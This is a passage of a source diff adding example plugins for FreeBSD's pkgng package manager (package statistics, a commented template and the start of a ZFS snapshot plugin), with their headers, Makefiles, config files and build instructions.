 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#include <assert.h>
+
#include <stdio.h>
+
#include <sysexits.h>
+
#include <unistd.h>
+
#include <inttypes.h>
+
#include <libutil.h>
+

+
#include <pkg.h>
+

+
#include "mystats.h"
+

+
#define PLUGIN_NAME 		"mystats"
+
#define PLUGIN_STATS_LOCAL 	(1<<0)
+
#define PLUGIN_STATS_REMOTE 	(1<<1)
+

+
static int plugin_mystats_usage(void);
+

+
int
+
pkg_plugins_init_mystats(void)
+
{
+

+
	if (pkg_plugins_register_cmd(PLUGIN_NAME, &plugin_mystats_callback) != EPKG_OK) {
+
		fprintf(stderr, "Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+

+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_shutdown_mystats(void)
+
{
+
	/* nothing to be done here */
+

+
	return (EPKG_OK);
+
}
+

+
static int
+
plugin_mystats_usage(void)
+
{
+
	fprintf(stderr, "usage: pkg mystats [-lr]\n\n");
+
	fprintf(stderr, "A plugin for displaying package statistics\n");
+
}
+

+
int
+
plugin_mystats_callback(int argc, char **argv)
+
{
+
	struct pkgdb *db = NULL;
+
        int64_t flatsize = 0;
+
        char size[7];
+
        unsigned int opt = 0;
+
        int ch;
+

+
        while ((ch = getopt(argc, argv, "lr")) != -1) {
+
                switch (ch) {
+
                case 'l':
+
                        opt |= PLUGIN_STATS_LOCAL;
+
                        break;
+
                case 'r':
+
                        opt |= PLUGIN_STATS_REMOTE;
+
                        break;
+
                default:
+
                        plugin_mystats_usage();
+
                        return (EX_USAGE);
+
                }
+
        }
+
        argc -= optind;
+
        argv += optind;
+

+
        /* default is to show everything we have */
+
        if (opt == 0)
+
                opt |= (PLUGIN_STATS_LOCAL | PLUGIN_STATS_REMOTE);
+

+
        if (pkgdb_open(&db, PKGDB_REMOTE) != EPKG_OK) {
+
                return (EX_IOERR);
+
        }
+

+
        if (opt & PLUGIN_STATS_LOCAL) {
+
                printf("Local package database:\n");
+
                printf("\tInstalled packages: %" PRId64 "\n", pkgdb_stats(db, PKG_STATS_LOCAL_COUNT));
+

+
                flatsize = pkgdb_stats(db, PKG_STATS_LOCAL_SIZE);
+
                humanize_number(size, sizeof(flatsize), flatsize, "B", HN_AUTOSCALE, 0);
+
                printf("\tDisk space occupied: %s\n\n", size);
+
        }
+

+
        if (opt & PLUGIN_STATS_REMOTE) {
+
                printf("Remote package database(s):\n");
+
                printf("\tNumber of repositories: %" PRId64 "\n", pkgdb_stats(db, PKG_STATS_REMOTE_REPOS));
+
                printf("\tPackages available: %" PRId64 "\n", pkgdb_stats(db, PKG_STATS_REMOTE_COUNT));
+
                printf("\tUnique packages: %" PRId64 "\n", pkgdb_stats(db, PKG_STATS_REMOTE_UNIQUE));
+

+
                flatsize = pkgdb_stats(db, PKG_STATS_REMOTE_SIZE);
+
                humanize_number(size, sizeof(flatsize), flatsize, "B", HN_AUTOSCALE, 0);
+
                printf("\tTotal size of packages: %s\n", size);
+
        }
+

+
	pkgdb_close(db);
+

+
	return (EPKG_OK);
+
}
added plugins/pkg-plugin-mystats-command/mystats.conf
@@ -0,0 +1,6 @@
+
# Configuration file for pkg-plugin-mystats
+
enabled=YES
+
name=mystats
+
description=Plugin command for displaying stats
+
version=1.0
+
plugin=/usr/local/lib/libpkg-plugin-mystats.so
added plugins/pkg-plugin-mystats-command/mystats.h
@@ -0,0 +1,37 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#ifndef _PKG_PLUGINS_MYSTATS_H
+
#define _PKG_PLUGINS_MYSTATS_H
+

+
/* callback functions */
+
int plugin_mystats_callback(int argc, char **argv);
+

+
/* plugin init and shutdown functions */
+
int pkg_plugins_init_mystats(void);
+
int pkg_plugins_shutdown_mystats(void);
+

+
#endif /* !_PKG_PLUGINS_MYSTATS_H */
added plugins/pkg-plugin-stats/Makefile
@@ -0,0 +1,18 @@
+
.include <bsd.own.mk>
+

+
LIB=		pkg-plugin-stats
+
INCS=		stats.h
+
#WARNS=		6
+
PREFIX?=	/usr/local
+
LIBDIR=		${PREFIX}/lib
+
INCLUDEDIR=	${PREFIX}/include
+
SHLIB_MAJOR=	0
+

+
SRCS=		stats.c
+

+
CFLAGS+=	-std=c99 -fPIC -shared
+
CFLAGS+=	-I${INCLUDEDIR}
+

+
DEBUG_FLAGS+=  -g -O0
+

+
.include <bsd.lib.mk>
added plugins/pkg-plugin-stats/README.md
@@ -0,0 +1,43 @@
+
## General Information
+

+
The *pkg-plugin-stats* plugin is used for displaying package stats during:
+

+
* pre-install
+
* post-install
+
* pre-deinstall
+
* post-deinstall
+

+
## How to build the plugin?
+

+
In order to build the plugin enter into the plugin's directory and run make(1), e.g.:
+

+
	$ cd /path/to/pkg-plugins-stats
+
	$ make
+
	
+
Once the plugin is built you can install it using the following command:
+

+
	$ make install 
+
	
+
The plugin will be installed as a shared library in ${PREFIX}/lib/libpkg-plugin-stats.so
+

+
## Configuring the plugin
+

+
In order to configure the plugin simply copy the *stats.conf* file to the pkgng plugins directory,
+
which by default is set to */usr/local/etc/pkg/plugins*, unless you've specified it elsewhere by 
+
using the *PKG\_PLUGINS\_DIR* option.
+

+
	$ cp /path/to/pkg-plugins-stats/stats.conf /usr/local/etc/pkg/plugins/
+
	
+
## Testing the plugin
+

+
To test the plugin, first check that it is recongnized and
+
loaded by pkgng by executing the `pkg plugins` command:
+

+
	$ pkg plugins
+
	NAME       DESC                                VERSION    LOADED    
+
	stats      Plugin for displaying package stats 1.0        YES     
+

+
If the plugin shows up correctly then you are good to go!
+

+
Now go ahead and install/deintall a package and see it in action! :)
+

added plugins/pkg-plugin-stats/stats.c
@@ -0,0 +1,97 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#include <assert.h>
+
#include <stdio.h>
+
#include <unistd.h>
+
#include <inttypes.h>
+
#include <libutil.h>
+

+
#include <pkg.h>
+

+
#include "stats.h"
+

+
#define PLUGIN_NAME "stats"
+

+
int
+
pkg_plugins_init_stats(void)
+
{
+
	/*
+
	 * Hook into the library and provide package stats for the following actions:
+
	 *
+
	 * - pre-install 
+
	 * - post-install
+
	 * - pre-deinstall
+
	 * - post-deinstall
+
	 */
+
	
+
	if (pkg_plugins_hook(PLUGIN_NAME, PKG_PLUGINS_HOOK_PRE_INSTALL, &plugin_stats_callback) != EPKG_OK) {
+
		fprintf(stderr, "Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+

+
	if (pkg_plugins_hook(PLUGIN_NAME, PKG_PLUGINS_HOOK_POST_INSTALL, &plugin_stats_callback) != EPKG_OK) {
+
		fprintf(stderr, "Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+
	if (pkg_plugins_hook(PLUGIN_NAME, PKG_PLUGINS_HOOK_PRE_DEINSTALL, &plugin_stats_callback) != EPKG_OK) {
+
		fprintf(stderr, "Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+
	
+
	if (pkg_plugins_hook(PLUGIN_NAME, PKG_PLUGINS_HOOK_POST_DEINSTALL, &plugin_stats_callback) != EPKG_OK) {
+
		fprintf(stderr, "Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+
	
+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_shutdown_template(void)
+
{
+
	/* nothing to be done here */
+

+
	return (EPKG_OK);
+
}
+

+
int
+
plugin_stats_callback(void *data, struct pkgdb *db)
+
{
+
        int64_t flatsize = 0;
+
        char size[7];
+

+
	assert(db != NULL);
+
	/* assert(data != NULL); */
+

+
	flatsize = pkgdb_stats(db, PKG_STATS_LOCAL_SIZE);
+
	humanize_number(size, sizeof(flatsize), flatsize, "B", HN_AUTOSCALE, 0);
+
	printf(">>> Installed packages : %" PRId64 " | Disk space: %s <<<\n",
+
	       pkgdb_stats(db, PKG_STATS_LOCAL_COUNT),
+
	       size);
+

+
	return (EPKG_OK);
+
}
added plugins/pkg-plugin-stats/stats.conf
@@ -0,0 +1,6 @@
+
# Configuration file for pkg-plugin-stats
+
enabled=YES
+
name=stats
+
description=Plugin for displaying package stats
+
version=1.0
+
plugin=/usr/local/lib/libpkg-plugin-stats.so
added plugins/pkg-plugin-stats/stats.h
@@ -0,0 +1,37 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#ifndef _PKG_PLUGINS_STATS_H
+
#define _PKG_PLUGINS_STATS_H
+

+
/* callback functions */
+
int plugin_stats_callback(void *data, struct pkgdb *db);
+

+
/* plugin init and shutdown functions */
+
int pkg_plugins_init_stats(void);
+
int pkg_plugins_shutdown_stats(void);
+

+
#endif /* !_PKG_PLUGINS_STATS_H */
added plugins/pkg-plugin-template/Makefile
@@ -0,0 +1,18 @@
+
.include <bsd.own.mk>
+

+
LIB=		pkg-plugin-template
+
INCS=		template.h
+
#WARNS=		6
+
PREFIX?=	/usr/local
+
LIBDIR=		${PREFIX}/lib
+
INCLUDEDIR=	${PREFIX}/include
+
SHLIB_MAJOR=	0
+

+
SRCS=		template.c
+

+
CFLAGS+=	-std=c99 -fPIC -shared
+
CFLAGS+=	-I${INCLUDEDIR}
+

+
DEBUG_FLAGS+=  -g -O0
+

+
.include <bsd.lib.mk>
added plugins/pkg-plugin-template/README.md
@@ -0,0 +1,40 @@
+
## General Information
+

+
The *pkg-plugin-template* plugin is a plugin meant to be used as a template
+
when developing a new plugin for pkgng.
+

+
It contains some examples and hints how a plugin should be structured and built.
+

+
## How to build the plugin?
+

+
In order to build the plugin enter into the plugin's directory and run make(1), e.g.:
+

+
	$ cd /path/to/pkg-plugins-template
+
	$ make
+
	
+
Once the plugin is built you can install it using the following command:
+

+
	$ make install 
+
	
+
The plugin will be installed as a shared library in ${PREFIX}/lib/libpkg-plugin-template.so
+

+
## Configuring the plugin
+

+
In order to configure the plugin simply copy the *template.conf* file to the pkgng plugins directory,
+
which by default is set to */usr/local/etc/pkg/plugins*, unless you've specified it elsewhere by 
+
using the *PKG\_PLUGINS\_DIR* option.
+

+
	$ cp /path/to/pkg-plugins-template/template.conf /usr/local/etc/pkg/plugins/
+
	
+
## Testing the plugin
+

+
To test the plugin, first check that it is recongnized and
+
loaded by pkgng by executing the `pkg plugins` command:
+

+
	$ pkg plugins
+
	NAME       DESC                                VERSION    LOADED    
+
	foo        Foo plugin for pkg                  1.1        YES       
+
	template   Template plugin for pkgng           1.0        YES       
+

+
If the plugin shows up correctly then you are good to go! :)
+

added plugins/pkg-plugin-template/template.c
@@ -0,0 +1,161 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
/* Include other headers if needed */
+
#include <stdio.h>
+

+
/* Include pkg */
+
#include <pkg.h>
+

+
/* Include any plugin headers here */
+
#include "template.h"
+

+
/* Define the plugin name */
+
#define PLUGIN_NAME "template"
+

+
/*
+
 * The plugin *must* provide an init function that is called by the library.
+
 *
+
 * The plugin's init function takes care of registering a hook in the library,
+
 * which is handled by the pkg_plugins_hook() function.
+
 *
+
 * Every plugin *must* provide a 'pkg_plugins_init_<plugin>' function, which is
+
 * called upon plugin loading for registering a hook in the library.
+
 *
+
 * The plugin's init function prototype should be in the following form:
+
 *
+
 * int pkg_plugins_init_<plugin> (void);
+
 *
+
 * No arguments are passed to the plugin's init function.
+
 *
+
 * Upon successful initialization of the plugin EPKG_OK (0) is returned and
+
 * upon failure EPKG_FATAL ( > 0 ) is returned to the caller.
+
 */
+
int
+
pkg_plugins_init_template(void)
+
{
+
	/*
+
	 * Register two functions for hooking into the library
+
	 *
+
	 * my_callback1() will be triggered directly before any install actions are taken, which is
+
	 * specified by the PKG_PLUGINS_HOOK_PRE_INSTALL hook.
+
	 *
+
	 * my_callback2() will be triggered directly after any install actions were taken, which is
+
	 * specified by the PKG_PLUGINS_HOOK_POST_INSTALL hook.
+
	 *
+
	 */
+

+
	/* printf(">>> Plugin '%s' is about to hook into pkgng.. yay! :)\n", PLUGIN_NAME); */
+
	
+
	if (pkg_plugins_hook(PLUGIN_NAME, PKG_PLUGINS_HOOK_PRE_INSTALL, &my_callback1) != EPKG_OK) {
+
		fprintf(stderr, "Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+
	
+
	if (pkg_plugins_hook(PLUGIN_NAME, PKG_PLUGINS_HOOK_POST_INSTALL, &my_callback2) != EPKG_OK) {
+
		fprintf(stderr, "Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+
	
+
	return (EPKG_OK);
+
}
+

+
/*
+
 * Plugins may optionally provide a shutdown function.
+
 *
+
 * When a plugin provides a shutdown function, it is called
+
 * before a plugin is being unloaded. This is useful in cases
+
 * where a plugin needs to perform a cleanup for example, or
+
 * perform any post-actions like reporting for example.
+
 *
+
 * The plugin's shutdown function prototype should be in the following form:
+
 *
+
 * int pkg_plugins_shutdown_<plugin> (void);
+
 *
+
 * Upon successful shutdown of the plugin EPKG_OK (0) is returned and
+
 * upon failure EPKG_FATAL ( > 0 ) is returned to the caller.
+
 */
+
int
+
pkg_plugins_shutdown_template(void)
+
{
+
	/* printf(">>> Plugin '%s' is shutting down, enough working for today.. :)\n", PLUGIN_NAME); */
+

+
	/*
+
	 * Perform any cleanup if needed, e.g.:
+
	 * 
+
	  if (tidy) {
+
	   	rc = perform_cleanup();
+
	   	if (rc != EPKG_OK)
+
	   		return (EPKG_FATAL);
+
	  }
+
	*/
+

+
	return (EPKG_OK);
+
}
+

+
/*
+
 * And now we need to define our workers,
+
 * the plugin functions that carry out the real work.
+
 *
+
 * A plugin callback function accepts only one argument and
+
 * should return EPKG_OK (0) on success and EPKG_FATAL ( > 0 ) on failure.
+
 *
+
 * Plugin callbacks must also take care of proper casting of the (void *data) argument.
+
 *
+
 * Depending on where a plugin hooks into the library the data passed to the callback is
+
 * different.
+
 *
+
 * For example if a plugin hooks into PKG_PLUGINS_HOOK_PRE_INSTALL the (void *data) passed to the
+
 * called is (struct pkg_jobs *), so the plugin callback must cast it explicitely.
+
 */
+
int
+
my_callback1(void *data, struct pkgdb *db)
+
{
+
	printf("Hey, I was just called by the library, lets see what we've got here..\n");
+

+
	if (data == NULL)
+
		printf("Hmm.. no data for me today, guess I'll just go and grab a mohito then..\n");
+
	else
+
		printf("Got some data.. okay, okay.. I'll do something useful then..\n");
+

+
	return (EPKG_OK);
+
}
+

+
/*
+
 * Second callback function
+
 */
+
int
+
my_callback2(void *data, struct pkgdb *db)
+
{
+
	printf("Hey, I was just called again, lets see what its all about this time..\n");
+

+
	if (data == NULL)
+
		printf("Hmm.. no data, no work.. today is my lucky day!\n");
+
	else
+
		printf("Work never ends.. I'll do something useful again..\n");
+
	
+
	return (EPKG_OK);
+
}
added plugins/pkg-plugin-template/template.conf
@@ -0,0 +1,26 @@
+
# Configuration file for pkg-plugin-template
+

+
### Start of required plugin options ###
+

+
# Plugin is enabled when one of 'YES', 'TRUE' or 'ON' is specified
+
enabled=YES
+

+
# Name of the plugin, used to identify the plugin to the library
+
name=template
+

+
# A short description of the plugin
+
description=Template plugin for pkgng
+

+
# Plugin version
+
version=1.0
+

+
# Path to the plugin file
+
plugin=/usr/local/lib/libpkg-plugin-template.so
+

+
### End of required plugin options ###
+

+
# Plugins can also use this file for putting plugin specific configurations
+
# For example a plugin could have the following options specified if needed and being used by the plugin
+
# zfs_pool=zroot
+
# zfs_snapshots_recursive=YES
+
# ...

\ No newline at end of file
added plugins/pkg-plugin-template/template.h
@@ -0,0 +1,38 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#ifndef _PKG_PLUGINS_TEMPLATE_H
+
#define _PKG_PLUGINS_TEMPLATE_H
+

+
/* callback functions */
+
int my_callback1(void *data, struct pkgdb *db);
+
int my_callback2(void *data, struct pkgdb *db);
+

+
/* plugin init and shutdown functions */
+
int pkg_plugins_init_template(void);
+
int pkg_plugins_shutdown_template(void);
+

+
#endif /* !_PKG_PLUGINS_TEMPLATE_H */
added plugins/pkg-plugin-zfssnap/Makefile
@@ -0,0 +1,18 @@
+
.include <bsd.own.mk>
+

+
LIB=		pkg-plugin-zfssnap
+
INCS=		zfssnap.h
+
#WARNS=		6
+
PREFIX?=	/usr/local
+
LIBDIR=		${PREFIX}/lib
+
INCLUDEDIR=	${PREFIX}/include
+
SHLIB_MAJOR=	0
+

+
SRCS=		zfssnap.c
+

+
CFLAGS+=	-std=c99 -fPIC -shared
+
CFLAGS+=	-I${INCLUDEDIR}
+

+
DEBUG_FLAGS+=  -g -O0
+

+
.include <bsd.lib.mk>
added plugins/pkg-plugin-zfssnap/README.md
@@ -0,0 +1,45 @@
+
## General Information
+

+
The *pkg-plugin-zfssnap* plugin is a plugin meant to be used for creating snapshots
+
on a system with ZFS prior any install/deinstall actions are taken.
+

+
*pkg-plugin-zfssnap* is useful in a way that if something breaks in case your installation or
+
deinstallation of package(s) fails you will be able to rollback to a previously known and working
+
state of your system.
+

+
## How to build the plugin?
+

+
In order to build the plugin enter into the plugin's directory and run make(1), e.g.:
+

+
	$ cd /path/to/pkg-plugins-zfssnap
+
	$ make
+
	
+
Once the plugin is built you can install it using the following command:
+

+
	$ make install 
+
	
+
The plugin will be installed as a shared library in ${PREFIX}/lib/libpkg-plugin-zfssnap.so
+

+
## Configuring the plugin
+

+
In order to configure the plugin simply copy the *zfssnap.conf* file to the pkgng plugins directory,
+
which by default is set to */usr/local/etc/pkg/plugins*, unless you've specified it elsewhere by 
+
using the *PKG\_PLUGINS\_DIR* option.
+

+
	$ cp /path/to/pkg-plugins-zfssnap/zfssnap.conf /usr/local/etc/pkg/plugins/
+
	
+
Next, open */usr/local/etc/pkg/plugins/zfssnap.conf* and configure any ZFS related options.
+
	
+
## Testing the plugin
+

+
To test the plugin, first check that it is recognized and
+
loaded by pkgng by executing the `pkg plugins` command:
+

+
	$ pkg plugins
+
	NAME       DESC                                VERSION    LOADED    
+
	zfssnap    ZFS snapshot plugin for pkgng       1.0        YES       
+

+
If the plugin shows up correctly then you are good to go! :)
+

+
Once you start installing/deinstall package(s) zfssnap will create a snapshot for you! 
+

added plugins/pkg-plugin-zfssnap/zfssnap.c
@@ -0,0 +1,165 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#include <sys/types.h>
+
#include <sys/param.h>
+

+
#include <assert.h>
+
#include <fcntl.h>
+
#include <time.h>
+
#include <stdio.h>
+
#include <stdlib.h>
+
#include <stdbool.h>
+
#include <string.h>
+
#include <libutil.h>
+
#include <unistd.h>
+

+
#include <pkg.h>
+

+
#include "zfssnap.h"
+

+
#define PLUGIN_NAME "zfssnap"
+
#define PLUGIN_CONF "/usr/local/etc/pkg/plugins/zfssnap.conf"
+

+
static struct _zfssnap_config {
+
        const char *key;
+
        const char *val;
+
} c[] = {
+
        { "zfs_fs", NULL },
+
	{ "zfs_prefix", NULL },
+
        { "zfs_args", NULL },
+
        { NULL, NULL }
+
};
+

+
static int plugins_zfssnap_load_conf(const char *file);
+
static const char *plugins_zfssnap_get_conf(const char *key);
+
static int plugins_zfssnap_fd = -1;
+
static properties plugins_zfssnap_p = NULL;
+

+
int
+
pkg_plugins_init_zfssnap(void)
+
{
+
	if (plugins_zfssnap_load_conf(PLUGIN_CONF) != EPKG_OK) {
+
		fprintf(stderr, ">>> Cannot parse configuration file %s\n", PLUGIN_CONF);
+
		return (EPKG_FATAL);
+
	}
+
	
+
